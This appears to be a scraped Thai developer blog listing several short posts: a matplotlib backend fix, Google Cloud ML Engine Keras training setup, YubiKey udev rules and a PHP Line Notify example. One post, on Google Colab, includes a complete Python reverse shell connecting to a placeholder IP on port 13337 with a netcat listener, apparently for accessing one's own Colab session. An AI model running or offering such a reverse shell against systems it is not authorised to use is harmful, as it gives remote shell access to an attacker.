Python matplotlib Invalid DISPLAY variable
Fixed bymatplotlib.pyplot as pltRef:
plt.switch_backend('agg')
https://github.com/matplotlib/matplotlib/issues/3466/#issuecomment-195899517
Monday, December 11, 2017 11:36 PM 0 Comments
matplotlib.pyplot as pltRef:
plt.switch_backend('agg')
Tuesday, November 7, 2017 10:42 PM 0 Comments Colab , Google Colab , python
nc -lv 133373. สร้าง Google Colab ใหม่มา 1 อัน นำคำสั่ง reverse shell ไปรัน (อย่าลืมแก้ IP Address กับ Port ให้ตรงกับ Server เรา และที่ netcat กำลัง listen อยู่)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("IP_ADDRESS",13337))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/bash","-i"]);
pip install PACKAGE
Sunday, October 15, 2017 11:39 AM 0 Comments circleci
python -m unittest discover ./tests/
Sunday, August 13, 2017 12:06 PM 1 Comments Cloud Machine Learning , keras , ml-engine
![]() |
สร้างโปรจคใหม่โดยใช้ชื่อ test-cloud-ml |
gcloud projects list
gcloud config set project test-cloud-ml-176413
![]() |
เลือก Machine Learning Engine API |
![]() |
กด Enable |
pickle.dump(DATASET_VARIABLE, open("dataset.pkl", "wb"), protocol = 2)
gsutil mb gs://kittinan/หรือเราสามารถสร้างในหน้าเวปก็ได้
gsutil cp SOURCE gs:://BUCKET_NAME/ตัวอย่าง
gsutil cp src/thainumber_28.pkl gs://kittinan/
![]() |
ภาพเมื่ออัพโหลดไฟล์เสร็จ |
![]() |
ลองเข้าไปดูในหน้าเวป Google Cloud Storage ก็จะเจอไฟล์ที่เราเพิ่งอัพโหลดเพิ่มขึ้นมา |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'''Cloud ML Engine package configuration.'''
from setuptools import setup, find_packages
setup(name='thai-handwriting-number',
version='0.1',
packages=find_packages(),
include_package_data=True,
description='Thai Handwriting Number Keras Model on Cloud ML Engine',
author='Kittinan',
license='MIT',
install_requires=[
'keras',
'h5py'],
zip_safe=False)
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
trainingInput:
scaleTier: BASIC_GPU
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from tensorflow.python.lib.io import file_io
import keras
from keras.models import Sequential
from keras.layers import Dense, Dropout, Flatten
from keras.layers import Conv2D, MaxPooling2D
import argparse
import pickle
import sys
import random
import h5py
from sklearn.cross_validation import train_test_split
from datetime import datetime
epochs = 50
def train_model(train_file = "./data/thainumber.pkl", job_dir='./tmp/thainumber', **args):
print("Running Train Model")
# set the logging path for ML Engine logging to Storage bucket
logs_path = job_dir + '/logs/' + datetime.now().isoformat()
print('Using logs_path located at {}'.format(logs_path))
#http://techqa.info/programming/question/40133223/Pickled-scipy-sparse-matrix-as-input-data-
if sys.version_info < (3,):
data = pickle.load(file_io.FileIO(train_file, mode='r'))
else:
data = pickle.loads(file_io.read_file_to_string(train_file))
random_state = random.randint(1, 1024)
x_train, x_test, y_train, y_test = train_test_split(data['X'], data['Y'], train_size=0.7, random_state=random_state)
print(x_train.shape[0], 'train samples')
print(x_test.shape[0], 'test samples')
num_classes = 10
input_shape = (28, 28, 1)
y_train = keras.utils.to_categorical(y_train, num_classes)
y_test = keras.utils.to_categorical(y_test, num_classes)
# Model
model = Sequential()
model.add(Conv2D(32, kernel_size=(3, 3),
activation='relu',
input_shape=input_shape))
model.add(Conv2D(64, (3, 3), activation='relu'))
model.add(MaxPooling2D(pool_size=(2, 2)))
model.add(Dropout(0.25))
model.add(Flatten())
model.add(Dense(128, activation='relu'))
model.add(Dropout(0.5))
model.add(Dense(num_classes, activation='softmax'))
model.summary()
model.compile(loss=keras.losses.categorical_crossentropy,
optimizer=keras.optimizers.Adadelta(),
metrics=['accuracy'])
batch_size = 128
model.fit(x_train, y_train,
batch_size=batch_size,
epochs=epochs,
verbose=1,
validation_data=(x_test, y_test),
callbacks=[])
scores = model.evaluate(x_train, y_train)
print("\n%s: %.2f%%" % (model.metrics_names[1], scores[1] * 100))
scores = model.evaluate(x_test, y_test)
print("\nTEST %s: %.2f%%" % (model.metrics_names[1], scores[1] * 100))
# Save the weight of model locally
model.save_weights('model_weight.h5')
# Save the weight of model to the Cloud Storage bucket's jobs directory
with file_io.FileIO('model_weight.h5', mode='r') as input_f:
with file_io.FileIO(job_dir + '/model_weight.h5', mode='w+') as output_f:
output_f.write(input_f.read())
if __name__ == '__main__':
# Parse the input arguments for common Cloud ML Engine options
parser = argparse.ArgumentParser()
parser.add_argument(
'--train-file',
help='Cloud Storage bucket or local path to training data')
parser.add_argument(
'--job-dir',
help='Cloud storage bucket to export the model and store temp files')
args = parser.parse_args()
arguments = args.__dict__
print(arguments)
train_model(**arguments)
gcloud ml-engine local train \--job-dir : directory หรือ Google Cloud Storage ที่ใช้ในการ Package ไฟล์ (ML Engine จะส่ง argument job-dir ไปยัง script โปรแกรมเราด้วย)
--job-dir ./ \
--module-name trainer.model \
--package-path ./trainer \
-- \
--train-file ../thainumber_28.pkl
![]() |
ภาพการรันบนเครื่องตัวเอง |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash
export BUCKET_NAME=kittinan
export JOB_NAME="thai_number_train_$(date +%Y%m%d_%H%M%S)"
export JOB_DIR=gs://$BUCKET_NAME/$JOB_NAME
#export REGION=asia-east1
export REGION=us-east1
gcloud ml-engine jobs submit training $JOB_NAME \
--job-dir $JOB_DIR \
--runtime-version 1.2 \
--module-name trainer.model \
--package-path ./trainer \
--region $REGION \
--config config.yaml \
-- \
--train-file gs://$BUCKET_NAME/thainumber_28.pkl
Sunday, March 26, 2017 8:15 PM 0 Comments
Thursday, February 2, 2017 9:29 PM 0 Comments yubikey
cd /etc/udev/rules.d
sudo wget https://raw.githubusercontent.com/Yubico/yubikey-personalization/master/69-yubikey.rules
sudo wget https://raw.githubusercontent.com/Yubico/yubikey-personalization/master/70-yubikey.rules
Monday, January 16, 2017 12:25 AM 32 Comments line , line notify , php
![]() |
คลิก Generate token |
![]() |
เลือกตัวเราเองหรือ Line Group ที่ต้องการ |
![]() |
Token จะแสดงใน Popup นี้เพียงครั้งเดียวเท่านั้น |
composer require kittinan/php-line-notify
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php
require_once './vendor/autoload.php';
$token = 'LINE_NOTIFY_TOKEN';
$ln = new KS\Line\LineNotify($token);
$text = 'สวัสดี Line Notify';
$ln->send($text);
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php
require_once './vendor/autoload.php';
$token = 'LINE_NOTIFY_TOKEN';
$ln = new KS\Line\LineNotify($token);
$text = ' '; // Line Notify บังคับให้ใส่ข้อความ แต่อยากส่งแแต่รูปภาพเลยใส่ space ไว้
$image_path = '/tmp/test_line.jpg'; //Line notify allow only jpeg and png file
$ln->send($text, $image_path);
0 comments: